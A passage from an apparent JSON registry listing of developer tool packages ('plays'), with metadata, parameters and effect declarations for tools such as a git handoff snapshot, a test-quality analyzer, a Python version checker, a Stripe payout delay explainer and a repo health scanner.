days.","example":"yesterday"},{"name":"exclude","type":"string","required":false,"default":"","description":"Comma-separated patterns matched against repository and transcript PATHS. A match is skipped before it is read. For a name that appears inside prose rather than in a path, use redact_terms.","example":"client-, secret-side-project"},{"name":"redact_terms","type":"string","required":false,"default":"","description":"Names, clients and projects that must never leave this machine. Unlike exclude, which matches paths, these are removed from prose as it is read, and a page still carrying one is refused.","example":"acme, northwind, project-atlas"},{"name":"writer","type":"string","required":false,"default":"agent","description":"Which agent CLI writes the drafts, billed to that CLI's own account at roughly a dozen calls per run. agent takes the first of claude or codex that is installed and signed in; name one to pin it; none makes no model call at all.","values":["agent","claude","codex","none"],"example":"none"},{"name":"max_depth","type":"string","required":false,"default":"3","description":"How many folder levels below root to search for repositories, 1 to 5.","example":"2"},{"name":"max_topics","type":"string","required":false,"default":"3","description":"How many topics the page may carry, 1 to 3. Each topic costs one post call and one illustration call, so lowering this is the cheapest way to spend less.","example":"1"},{"name":"out_dir","type":"string","required":false,"default":"~/.rote/ship-recap","description":"Where the recap page is written, one HTML file per day. The full path is printed when the run ends, and opened for you unless open_page=never.","example":"~/Desktop/recaps"},{"name":"handle","type":"string","required":false,"default":"","description":"Your X or LinkedIn handle, shown on the preview cards.","example":"yourhandle"},{"name":"source","type":"string","required":false,"default":"","description":"Deprecated: use mode. source=sample means mode=demo and source=live means mode=full. Kept declared so an old command warns instead of silently recapping your real machine.","example":"sample"},{"name":"fast","type":"string","required":false,"default":"","description":"Deprecated: use mode=quick. Kept declared so an old command warns instead of being ignored.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dc95be08fbe4ef57129a9fbf058d605a4255af9fa4c720e1387015a617f355d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":9,"width":1,"fan_out":6,"for_each_steps":4,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/amaan-playoffs/git-handoff-snapshot@0.2.3","reference":"amaan-playoffs/git-handoff-snapshot@0.2.3","uri":"https://play.modiqo.ai/amaan-playoffs/git-handoff-snapshot@0.2.3","manifest_uri":"https://play.modiqo.ai/amaan-playoffs/git-handoff-snapshot@0.2.3","name":"git-handoff-snapshot","title":"git-handoff-snapshot","description":"Creates a compact Git handoff with branch, last-fetched upstream state, changed paths, numeric diff totals, stash count, and recent commit metadata without outputting file contents or patch hunks.","owner":{"kind":"org","slug":"amaan-playoffs"},"registry_organization":"amaan-playoffs","tags":["git","handoff","repository","worktree","status","agent-handoff","developer-tools","typescript"],"primary_domain":"domain-uncategorized","author":"Tin Computer","version":"0.2.3","published_at":"2026-09-05T07:47:25.794614+00:00","visibility":"public","quality_score":0.875,"size_bytes":12029,"license":null,"stats":{"downloads":24,"installs":0},"steps":{"count":8,"names":["head_sha","repo_root","stash_list","remote_list","recent_commits","staged_numstat","worktree_status","unstaged_numstat"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute path to a local Git checkout on this machine (not a GitHub owner/name). Registry runs do not inherit your shell's working directory, so pass the full path rather than '.'. The run fails with a clear error when the path does not exist or is not inside a Git repository.","example":"/Users/me/src/my-repo"},{"name":"commit_count","type":"integer","required":false,"default":"5","description":"Number of most recent commits to include. Accepted range is 1 through 20.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4a5a4cb2e635fcf7d3c1063aaedf9ba2e39536bf4181669dda9518cad21fec8d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":7,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":7},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/test-theater@0.9.6","reference":"rajdeepkushwaha/test-theater@0.9.6","uri":"https://play.modiqo.ai/rajdeepkushwaha/test-theater@0.9.6","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/test-theater@0.9.6","name":"test-theater","title":"test-theater","description":"Some tests pass no matter what the code does. This finds them, without running your suite. It reads the test files and gives every test one of five answers. CANNOT_FAIL means the test only checks literals, like assert 1 == 1, or it swallows its own errors in a bare except. NO_VALUE_CHECK means there is no assertion at all, so the test only fails if the code crashes. WEAK means the test is permanently skipped, or it is a copy of another test. EXAMINED means it read the test and found nothing wrong, which is not the same as saying the test is good. NOT_ANALYZED means the assertions live in a helper function, so it could not judge them either way, and it says so rather than guessing. Every finding tells you which commit added that line and how long ago. Pass base_ref=origin/main and it only reports what your branch added, so you can use it on a pull request. Pass target=demo to try it with nothing set up. It never runs your tests and never imports your code. Before it looks at your code it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. Read-only, no credentials, no network. Needs python3 and git.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["testing","static-analysis","python","code-quality","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.9.6","published_at":"2026-09-06T03:16:58.661845+00:00","visibility":"public","quality_score":1,"size_bytes":18039,"license":null,"stats":{"downloads":23,"installs":0},"steps":{"count":3,"names":["audit","git_dates","selfcheck"]},"parameters":[{"name":"target","type":"string","required":false,"default":"demo","description":"Absolute path to a Python test file or a directory to walk recursively for test_*.py files"},{"name":"base_ref","type":"string","required":false,"default":"","description":"Optional git ref such as origin/main. When set, findings are split NEW_IN_BRANCH from PREEXISTING and only what this branch introduced is listed."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4dd68d7e25f93b5af6a65b0c8632d7014032737aaa634df46dcf73852827735e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/swapankumar/ci-test-healer@18.0.0","reference":"swapankumar/ci-test-healer@18.0.0","uri":"https://play.modiqo.ai/swapankumar/ci-test-healer@18.0.0","manifest_uri":"https://play.modiqo.ai/swapankumar/ci-test-healer@18.0.0","name":"ci-test-healer","title":"ci-test-healer","description":"Autonomous Universal Cloud LLM CI/CD Failure Diagnoser & Self-Healing Repair Play for Node.js, Go, Python, Rust, and Make","owner":{"kind":"user","slug":"swapankumar"},"registry_organization":"swapankumar","tags":["ci-cd","test-healer","self-healing","ai-agent","gemini-llm","cloud-llm","auto-push","github-api","gitlab-api"],"primary_domain":"domain-uncategorized","author":"swapankumar","version":"18.0.0","published_at":"2026-09-02T20:05:58.783027+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":12011,"license":null,"stats":{"downloads":23,"installs":0},"steps":{"count":4,"names":["discover_ci","capture_logs","verify_suite","synthesize_patch"]},"parameters":[{"name":"auto_push","type":"boolean","required":false,"description":"Set to true to automatically commit and push verified self-healing patches back to Git remote"},{"name":"api_key","type":"string","required":false,"description":"Gemini / OpenAI Cloud LLM API Key for autonomous AI patch synthesis"},{"name":"model","type":"string","required":false,"description":"Cloud LLM Model name (e.g. gemini-3.5-flash, gemini-flash-latest, gpt-4o-mini)"},{"name":"provider","type":"string","required":false,"description":"Provider override (gemini, openai, ollama)"},{"name":"base_url","type":"string","required":false,"description":"Custom OpenAI-compatible API base URL (e.g. http://localhost:11434/v1 for Ollama)"},{"name":"github_token","type":"string","required":false,"description":"Optional GitHub Personal Access Token or GITHUB_TOKEN for GitHub Actions API access"},{"name":"gitlab_token","type":"string","required":false,"description":"Optional GitLab Personal Access Token or GITLAB_TOKEN for GitLab Pipelines API access"},{"name":"log_file","type":"string","required":false,"description":"Path to raw CI log file (defaults to live test execution stream)"},{"name":"target_dir","type":"string","required":false,"description":"Target repository directory (defaults to current working directory)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8beaea9968321b08205f1dd1ec4e457afb671f2b17e656233a6c4d49b23ef8d5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/sookra/floor-check@0.1.13","reference":"sookra/floor-check@0.1.13","uri":"https://play.modiqo.ai/sookra/floor-check@0.1.13","manifest_uri":"https://play.modiqo.ai/sookra/floor-check@0.1.13","name":"floor-check","title":"floor-check","description":"See the lowest Python version your code will actually run on, before someone on an older interpreter finds out for you. Syntax checks and linters read code that parses; they say nothing about code that parses and then raises. A union annotation like \"int | None\" compiles on 3.9 and throws TypeError the moment the module is imported, and \"import tomllib\" compiles and then fails to find the module. This reads the source with ast, finds both classes, and compares what the code needs against what the project declares in pyproject.toml, setup.cfg or deps.toml. It never imports, executes or pulls anything it reads, it writes nothing, and it runs no subprocess at all. It runs its own positive and negative cases before the scan, on your machine, against the same reader the scan uses, and refuses to call the scan trustworthy if any of them fail. Reporting too much is the failure that matters here, because a false needs-3.11 sends an author chasing a portability bug that does not exist, so every category carries cases that must stay quiet as well as cases that must fire.","owner":{"kind":"user","slug":"sookra"},"registry_organization":"sookra","tags":["domain-python","job-version-compatibility","audience-python-authors","effect-read-only","play-hygiene"],"primary_domain":"domain-python","author":"sookra","version":"0.1.13","published_at":"2026-09-05T23:20:59.590713+00:00","visibility":"public","quality_score":1,"size_bytes":23863,"license":null,"stats":{"downloads":22,"installs":0},"steps":{"count":3,"names":["self_test","floor_scan","host_facts"]},"parameters":[{"name":"target","type":"string","required":false,"default":"all","description":"What to read: a .py file, a directory, a Play package directory, an owner/name reference such as modiqo/hello, or all to read every Play installed in the rote store."},{"name":"floor","type":"string","required":false,"default":"3.9","description":"The oldest Python you intend to support, as major.minor. 3.9 is the default because that is what a stock macOS with only the Xcode command line tools provides."},{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Directory holding installed Play packages, used when target is all or an owner/name reference."},{"name":"strict","type":"string","required":false,"default":"false","description":"Set to true to exit non-zero when anything needs a newer Python than it declares. Off by default, because a finding is information rather than a failure."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:561a5e70ed809a68ad159d6d7c0bdf059c3de8ac220e2bebafa50f6e38f50375","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/play-quality-doctor@0.2.2","reference":"himanshu-jha/play-quality-doctor@0.2.2","uri":"https://play.modiqo.ai/himanshu-jha/play-quality-doctor@0.2.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/play-quality-doctor@0.2.2","name":"play-quality-doctor","title":"play-quality-doctor","description":"Diagnoses why a play scores what it does on the registry quality rubric, then derives only the frontmatter it can support from the target's files. Validation resolves one entrypoint, validates its frontmatter name, and creates a bounded, symlink-safe fingerprint of main.ts, deps.toml presence/content, and every presentation-fixture file. The parallel scorer and source reader both verify that complete package fingerprint before and after their work so one diagnosis cannot mix revisions. Result calls inside comments and strings are ignored; divergent result shapes and ambiguous JavaScript expressions are left underivable instead of guessed. Only exact supported no-write declarations such as `writes: None` are treated as read-only. Suggested fixes report their potential rubric weight, but no future score is claimed until the caller applies them and re-runs the authoritative scorer. Read-only: never edits or executes the target play, needs no credentials, and makes no network call.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-devtools","tool-registry","rote","quality","registry"],"primary_domain":"domain-devtools","author":"himanshu748","version":"0.2.2","published_at":"2026-09-04T15:35:44.670623+00:00","visibility":"public","quality_score":1,"size_bytes":19819,"license":"MIT","stats":{"downloads":22,"installs":0},"steps":{"count":4,"names":["prescribe","score_play","read_source","validate_target"]},"parameters":[{"name":"play","type":"string","required":false,"default":"resources/samples/needs-work","description":"The play to diagnose: a play directory or its main.ts. Steps run in the play run workspace rather than your shell, so a relative path resolves somewhere you did not mean. The default diagnoses a bundled sample that sits at the 0.45 floor, so a zero-argument run shows you the shape of the problem.","example":"/Users/me/.rote/flows/my-play"},{"name":"owner","type":"string","required":false,"default":"","description":"Your registry org slug. Supply it and the source_url fix is generated for you. Leave it out and that one signal is reported as underivable rather than guessed, because an org slug is not always your handle and a wrong URL is worse than a missing one.","example":"my-org"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ab51359239a0b3c05adb78afb180d3a206149378155f49b798f548ddfb0a7a86","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jaylabs/settlement-delay@0.3.43","reference":"jaylabs/settlement-delay@0.3.43","uri":"https://play.modiqo.ai/jaylabs/settlement-delay@0.3.43","manifest_uri":"https://play.modiqo.ai/jaylabs/settlement-delay@0.3.43","name":"settlement-delay","title":"settlement-delay","description":"Your Stripe payout landed days late and nobody can say why. It gives every waiting day one reason from weekends, Indian second and fourth Saturday closures, bank holidays, dispute holds, reserves, batch cutoffs and posting lag, each naming the evidence behind it, with ids where they exist, and reporting a day nothing accounts for as unexplained. It reads Stripe, Plaid rather than Mercury, Xero and bundled calendars rather than a Google Calendar over plain HTTPS, declaring no adapter so a stranger can run it cold. Your accounts are only ever read from; it writes one JSON file per leg, the attribution and a markdown report.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["settlement-delay","late-payout","stripe","stripe-payouts","payout","payouts","payout-delay","plaid","xero","bank","bank-holiday","reconciliation","bank-reconciliation","finance-ops","domain-finance-ops","job-settlement-delay-attribution","audience-founders-and-finance","effect-write"],"primary_domain":"domain-finance-ops","author":"jayanth","version":"0.3.43","published_at":"2026-09-04T17:11:38.344035+00:00","visibility":"public","quality_score":1,"size_bytes":178561,"license":null,"stats":{"downloads":21,"installs":0},"steps":{"count":7,"names":["report","attribute","preflight","pull_bank","pull_ledger","pull_stripe","load_calendar"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"Set demo for the bundled sample data, with no network call and no credential. Set live to read your own systems, from STRIPE_BEARER_TOKEN (or STRIPE_API_KEY, or STRIPE_SECRET_KEY) plus the Plaid and Xero variables in resources/LIVE-KEYS.md.","values":["demo","live"],"example":"demo"},{"name":"country","type":"string","required":false,"default":"IN","description":"Which bank-holiday calendar and weekend rule to reason with. IN uses India's six national bank holidays, a regional tier, and the RBI second and fourth Saturday closure rule. US uses the Federal Reserve holidays, GB England and Wales.","values":["IN","US","GB"],"example":"IN"},{"name":"lookback_days","type":"string","required":false,"default":"30","description":"How far back to explain, in days. Clamped to 1..180, and a value that is not a plain integer silently uses the default. It filters live reads only, because the bundled sample data carries its own fixed window of the real 2026 calendar.","example":"30"},{"name":"settle_window_days","type":"string","required":false,"default":"3","description":"How many days after the expected arrival date a credit may land before this play calls the payout late. Clamped to 0..30. It sets what counts as late, not what counts as matched. A credit is still paired with its payout for two weeks past it.","example":"3"},{"name":"amount_tolerance_cents","type":"string","required":false,"default":"0","description":"How far a bank credit may differ from a payout, in the currency's minor unit, and still count as the same money. Clamped to 0..100000. The default of 0 demands an exact match, which is what a correct payout looks like.","example":"0"},{"name":"calendar_ics_url","type":"string","required":false,"default":"","description":"A public ICS calendar feed of extra closures, for example your bank's published holiday calendar. Read only in live mode, parsed with the standard library, and only its all-day events are used. Each closure it adds is labelled with its own source.","example":"https://example.com/bank-holidays.ics"},{"name":"holidays_file","type":"string","required":false,"default":"","description":"Path in the run workspace to your own holiday list as JSON, either an object with a holidays array or a bare array, each entry carrying a date and a name. Use it for the state and regional closures no national calendar can cover.","example":"my-holidays.json"},{"name":"report","type":"string","required":false,"default":"findings","description":"Choose findings to list only the payouts that were late or that never matched. Choose all to add a line for every payout in the window, including the ones that behaved, which is what you want when someone asks you to prove the clean ones were clean.","values":["findings","all"],"example":"findings"},{"name":"samples_dir","type":"string","required":false,"default":"","description":"Where the demo data lives. Empty means the sample set bundled inside this play. Anything else is a directory in the run workspace, or an absolute path, holding either this play's own sample files or raw API captures one file per endpoint.","example":"my-samples"},{"name":"strict_live","type":"string","required":false,"default":"false","description":"Which legs must really be live, or nothing runs. Set false to let any leg fall back to labelled sample data, true to demand stripe, bank and ledger, or a list such as stripe,bank. Naming a leg with no credential stops the run before anything is read.","example":"stripe,bank"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:608783b6825fdc1eacbc42fd114b2738f15d4094024e957d4e2c5c422c6fb11d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":4,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajgharat07/agent-instruction-collision-map@0.1.0","reference":"rajgharat07/agent-instruction-collision-map@0.1.0","uri":"https://play.modiqo.ai/rajgharat07/agent-instruction-collision-map@0.1.0","manifest_uri":"https://play.modiqo.ai/rajgharat07/agent-instruction-collision-map@0.1.0","name":"agent-instruction-collision-map","title":"agent-instruction-collision-map","description":"Your AI agent has too many bosses. Scans AGENTS.md, Cursor rules, CLAUDE.md, and Copilot instructions for conflicts, duplicates, and orphans before any agent work begins. Read-only with path-line evidence.","owner":{"kind":"user","slug":"rajgharat07"},"registry_organization":"rajgharat07","tags":["domain-engineering","engineering-workflows","job-code-quality","tool-shell","effect-read-only"],"primary_domain":"domain-engineering","author":"rajgharat07","version":"0.1.0","published_at":"2026-09-01T18:59:44.133353+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2700,"license":null,"stats":{"downloads":21,"installs":0},"steps":{"count":1,"names":["scan_collision_map"]},"parameters":[{"name":"repo_path","type":"string","required":true,"default":".","description":"Path to the repository to scan for AI instruction collisions","example":"."},{"name":"agent_profile","type":"string","required":false,"default":"generic","description":"Agent profile for heuristic notes (generic, cursor, github-copilot, claude-code, codex)","example":"generic"},{"name":"task_scope","type":"string","required":false,"default":"","description":"Optional file or glob to narrow rule applicability","example":"backend/foo.py"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d5b124236d066ba92f37349de2d3e756a6d35c249efa04d6cf4f9d5788e008ed","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajgharat07/log-leak-map@0.1.0","reference":"rajgharat07/log-leak-map@0.1.0","uri":"https://play.modiqo.ai/rajgharat07/log-leak-map@0.1.0","manifest_uri":"https://play.modiqo.ai/rajgharat07/log-leak-map@0.1.0","name":"log-leak-map","title":"log-leak-map","description":"Everyone hunts secrets in git history. This hunts log/output sinks. One row per Python/JS logging call — CONFIRMED SINK / SENSITIVE / SUSPICIOUS, DEBUG as a modifier, redacted reconstruction. Read-only, zero adapters, Python stdlib.","owner":{"kind":"user","slug":"rajgharat07"},"registry_organization":"rajgharat07","tags":["domain-engineering","engineering-workflows","job-security","tool-shell","effect-read-only"],"primary_domain":"domain-engineering","author":"rajgharat07","version":"0.1.0","published_at":"2026-09-03T19:45:48.336198+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2786,"license":null,"stats":{"downloads":20,"installs":0},"steps":{"count":1,"names":["scan_log_leak_map"]},"parameters":[{"name":"repo_path","type":"string","required":true,"default":".","description":"Path to the repository to scan for leaking log statements","example":"."},{"name":"include_deps","type":"string","required":false,"default":"false","description":"When \"true\", also scan dependency directories (node_modules, site-packages, vendor)","example":"false"},{"name":"scope","type":"string","required":false,"default":"","description":"Optional comma-separated glob(s) to narrow the scan","example":"*.py,api"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ba74d7b902ef0c2ab342f5203e56c9dbf7f2b1235c2491c362ba94cd1011ae0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/bavya21/femme-cadence-watcher@1.10.0","reference":"bavya21/femme-cadence-watcher@1.10.0","uri":"https://play.modiqo.ai/bavya21/femme-cadence-watcher@1.10.0","manifest_uri":"https://play.modiqo.ai/bavya21/femme-cadence-watcher@1.10.0","name":"femme-cadence-watcher","title":"femme-cadence-watcher","description":"A privacy-first menstrual-cycle wellness assistant built with Rote. It takes a user's reported period start date, typical cycle length, and period duration, then uses a repeatable local workflow to estimate the current cycle phase and deliver a personalized wellness briefing through Telegram. Rote makes the workflow reusable and inspectable, helping women understand cycle timing, plan ahead, and notice changes in their menstrual patterns. When reported cycle or period patterns are unusual or persistently change, the Play provides a health-awareness warning encouraging the user to discuss the change with a qualified healthcare professional. The Play may mention PCOS/PCOD as one possible condition associated with menstrual irregularities, but does not diagnose PCOS/PCOD or any other medical condition.\n","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["menstrual-cycle","cycle-tracking","wellness","productivity","nutrition","telegram","privacy"],"primary_domain":"domain-uncategorized","author":"bavya21","version":"1.10.0","published_at":"2026-09-05T17:03:57.504361+00:00","visibility":"public","quality_score":1,"size_bytes":12465,"license":null,"stats":{"downloads":19,"installs":0},"steps":{"count":2,"names":["calculate_cadence","dispatch_briefing"]},"parameters":[{"name":"TARGET_NAME","type":"string","required":true,"description":"First name used in the Telegram briefing."},{"name":"LAST_CYCLE_START","type":"string","required":true,"description":"Most recent menstrual period start date. Accepted formats include YYYY-MM-DD and DD/MM/YYYY.\n"},{"name":"CYCLE_LENGTH_DAYS","type":"string","required":false,"default":"28","description":"Typical menstrual-cycle length in days."},{"name":"PERIOD_DURATION_DAYS","type":"string","required":false,"default":"5","description":"Typical menstrual period duration in days."},{"name":"TELEGRAM_BOT_TOKEN","type":"string","required":true,"description":"Telegram Bot API token. Supply at runtime."},{"name":"TELEGRAM_CHAT_ID","type":"string","required":true,"description":"Telegram destination chat ID. Supply at runtime."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a7aaf7f122f4325acb1ace3aeb9827f34d90e3db9828e75da5e39df44a14cffd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/satianurag/repo-fire-check@0.3.4","reference":"satianurag/repo-fire-check@0.3.4","uri":"https://play.modiqo.ai/satianurag/repo-fire-check@0.3.4","manifest_uri":"https://play.modiqo.ai/satianurag/repo-fire-check@0.3.4","name":"repo-fire-check","title":"repo-fire-check","description":"One screen, zero credentials: is anything on fire in your repos today? Scans up to 200 local clones for unpushed commits, dirty worktrees, unresolved conflicts, failing CI, stale review requests and lockfile rot, and prints one health score with a day-over-day delta and streak. Every fire carries its repo's real path and the one-line command that clears it (git push, gh run list, ...), so the card is a punch list, not just a diagnosis. Day one already has yesterday in it: with no saved history it reconstructs yesterday's card from git itself, and names the rows it could not reconstruct. No LLM anywhere -- identical repo state produces an identical card. A scan that reached zero repositories reports UNKNOWN, never a perfect score. Reads your repos with plain git, strictly read-only; optional gh adds CI and review rows and degrades to a labelled cached snapshot, never to a false all-clear. macOS and Linux. Try demo=true.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["git","repo-health","fire-alarm","daily","local-first","read-only","zero-credentials","deterministic"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.3.4","published_at":"2026-09-05T18:55:11.988827+00:00","visibility":"public","quality_score":1,"size_bytes":46224,"license":null,"stats":{"downloads":18,"installs":0},"steps":{"count":8,"names":["delta","score","backfill","discover","gather_deps","gather_local","gather_remote","record_history"]},"parameters":[{"name":"roots","type":"string","required":false,"default":"auto","description":"Where your clones live: comma-separated dirs, ~ and glob patterns supported. The default 'auto' walks a fixed ladder of conventional code homes (~/src, ~/code, ~/dev, ~/Developer, ~/projects, ~/repos, ~/git, ~/work, ~/workspace, ~/Documents, ~/Desktop) and prints exactly which roots it used. (An earlier version also tried the git repo containing the current directory first -- removed: every step here runs with its CWD set to an isolated Rote workspace, never the caller's real directory, so that rung could never find anything, and in the one real edge case where $HOME is itself a git repo, it resolved to $HOME's own parent.) Ignored in demo mode.","example":"~/work,~/oss"},{"name":"max_repos","type":"integer","required":false,"default":"20","description":"Cap on discovered repositories; the scan budget guard (1-200).","example":"20"},{"name":"depth","type":"integer","required":false,"default":"2","description":"Directory levels below each root to search for .git (1-8).","example":"2"},{"name":"fetch","type":"boolean","required":false,"default":"false","description":"Opt-in network: run git fetch before computing ahead/behind, bounded by an 8s per-repo budget that degrades to cached refs on timeout. Off by default: the default run is fully offline.","example":"false"},{"name":"stale_days","type":"integer","required":false,"default":"3","description":"Staleness threshold in days for branches and pending review requests.","example":"3"},{"name":"checks","type":"string","required":false,"default":"unpushed,dirty,conflict,ci,reviews,deps,stale","description":"Comma-separated subset of checks to run, or all. Accepted: 